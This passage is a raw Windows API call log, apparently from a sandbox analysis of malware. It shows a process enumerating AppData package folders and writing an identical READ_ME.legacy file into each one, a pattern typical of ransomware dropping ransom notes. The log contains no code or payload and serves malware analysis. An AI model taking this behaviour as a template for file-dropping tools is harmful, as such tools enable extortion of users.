dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0137.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8bd8 [0137.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.485] GetLastError () returned 0x0 [0137.485] SetLastError (dwErrCode=0x0) [0137.485] GetLastError () returned 0x0 [0137.485] SetLastError (dwErrCode=0x0) [0137.485] GetLastError () returned 0x0 [0137.485] SetLastError (dwErrCode=0x0) [0137.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0137.485] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.396] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0138.396] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.397] CloseHandle (hObject=0x744) returned 1 [0138.397] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8bd8 | out: hHeap=0x520000) returned 1 [0138.397] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0138.397] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0138.397] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e85b0 | out: hHeap=0x520000) returned 1 [0138.397] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe8f2692, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.DesktopAppInstaller_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.DES")) returned 1 [0138.397] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0138.398] GetLastError () returned 0x0 [0138.398] SetLastError (dwErrCode=0x0) [0138.398] GetLastError () returned 0x0 [0138.398] SetLastError (dwErrCode=0x0) [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ca0 [0138.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.398] GetLastError () returned 0x0 [0138.398] SetLastError (dwErrCode=0x0) [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x60edc8 [0138.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0138.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60edc8 | out: hHeap=0x520000) returned 1 [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41ad0 [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539700 [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41510 [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0138.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0138.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.399] GetLastError () returned 0x0 [0138.399] SetLastError (dwErrCode=0x0) [0138.399] GetLastError () returned 0x0 [0138.399] SetLastError (dwErrCode=0x0) [0138.399] GetLastError () returned 0x0 [0138.399] SetLastError (dwErrCode=0x0) [0138.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0138.399] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0138.401] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.402] CloseHandle (hObject=0x744) returned 1 [0138.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0138.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0138.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0138.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41510 | out: hHeap=0x520000) returned 1 [0138.402] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388df267, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfd81bc01, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfd81bc01, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Getstarted_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.GET")) returned 1 [0138.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ca0 | out: hHeap=0x520000) returned 1 [0138.402] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0138.403] GetLastError () returned 0x0 [0138.403] SetLastError (dwErrCode=0x0) [0138.403] GetLastError () returned 0x0 [0138.403] SetLastError (dwErrCode=0x0) [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0138.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.403] GetLastError () returned 0x0 [0138.403] SetLastError (dwErrCode=0x0) [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0138.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0138.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7328 [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f40800 [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6d38 [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0138.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0138.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.403] GetLastError () returned 0x0 [0138.404] SetLastError (dwErrCode=0x0) [0138.404] GetLastError () returned 0x0 [0138.404] SetLastError (dwErrCode=0x0) [0138.404] GetLastError () returned 0x0 [0138.404] SetLastError (dwErrCode=0x0) [0138.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41b88 [0138.404] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41b88 | out: hHeap=0x520000) returned 1 [0138.407] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.408] CloseHandle (hObject=0x744) returned 1 [0138.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0138.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0138.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0138.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6d38 | out: hHeap=0x520000) returned 1 [0138.409] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7b2c8ffc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7b44678d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.LockApp_cw5n1h2txyewy", cAlternateFileName="MICROS~1.LOC")) returned 1 [0138.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0138.409] GetLastError () returned 0x0 [0138.409] SetLastError (dwErrCode=0x0) [0138.409] GetLastError () returned 0x0 [0138.409] SetLastError (dwErrCode=0x0) [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0138.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.409] GetLastError () returned 0x0 [0138.409] SetLastError (dwErrCode=0x0) [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0138.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0138.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6e68 [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f40760 [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6878 [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0138.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0138.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0138.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.410] GetLastError () returned 0x0 [0138.410] SetLastError (dwErrCode=0x0) [0138.410] GetLastError () returned 0x0 [0138.410] SetLastError (dwErrCode=0x0) [0138.410] GetLastError () returned 0x0 [0138.410] SetLastError (dwErrCode=0x0) [0138.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e40f50 [0138.410] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e40f50 | out: hHeap=0x520000) returned 1 [0138.412] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.413] CloseHandle (hObject=0x744) returned 1 [0138.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0138.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0138.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0138.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6878 | out: hHeap=0x520000) returned 1 [0138.413] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfbf856cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbf856cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Messaging_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.MES")) returned 1 [0138.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0138.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0138.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0138.413] GetLastError () returned 0x0 [0138.413] SetLastError (dwErrCode=0x0) [0138.413] GetLastError () returned 0x0 [0138.413] SetLastError (dwErrCode=0x0) [0138.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0138.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.414] GetLastError () returned 0x0 [0138.414] SetLastError (dwErrCode=0x0) [0138.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0138.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0138.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0138.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0138.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e69a8 [0138.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f406c0 [0138.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e74f0 [0138.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0138.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0138.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0138.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0138.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0138.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.414] GetLastError () returned 0x0 [0138.414] SetLastError (dwErrCode=0x0) [0138.414] GetLastError () returned 0x0 [0138.414] SetLastError (dwErrCode=0x0) [0138.414] GetLastError () returned 0x0 [0138.414] SetLastError (dwErrCode=0x0) [0138.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e410c0 [0138.414] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e410c0 | out: hHeap=0x520000) returned 1 [0138.455] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.456] CloseHandle (hObject=0x744) returned 1 [0138.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0138.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0138.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0138.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e74f0 | out: hHeap=0x520000) returned 1 [0138.457] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9f55962, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Microsoft3DViewer_8wekyb3d8bbwe", cAlternateFileName="MIC2FD~1.MIC")) returned 1 [0138.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0138.457] GetLastError () returned 0x0 [0138.457] SetLastError (dwErrCode=0x0) [0138.457] GetLastError () returned 0x0 [0138.457] SetLastError (dwErrCode=0x0) [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0138.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.457] GetLastError () returned 0x0 [0138.457] SetLastError (dwErrCode=0x0) [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x60ee98 [0138.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0138.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ee98 | out: hHeap=0x520000) returned 1 [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7890 [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f405a8 [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e8268 [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0138.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0138.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0138.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.458] GetLastError () returned 0x0 [0138.458] SetLastError (dwErrCode=0x0) [0138.458] GetLastError () returned 0x0 [0138.458] SetLastError (dwErrCode=0x0) [0138.458] GetLastError () returned 0x0 [0138.458] SetLastError (dwErrCode=0x0) [0138.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0138.458] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0138.461] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.462] CloseHandle (hObject=0x744) returned 1 [0138.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0138.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0138.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0138.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8268 | out: hHeap=0x520000) returned 1 [0138.462] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdc4fe9ef, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdc92abfb, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.MicrosoftEdge_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.MIC")) returned 1 [0138.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0138.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0138.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0138.462] GetLastError () returned 0x0 [0138.462] SetLastError (dwErrCode=0x0) [0138.462] GetLastError () returned 0x0 [0138.463] SetLastError (dwErrCode=0x0) [0138.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0138.463] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.463] GetLastError () returned 0x0 [0138.463] SetLastError (dwErrCode=0x0) [0138.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0138.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0138.463] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0138.463] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0138.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 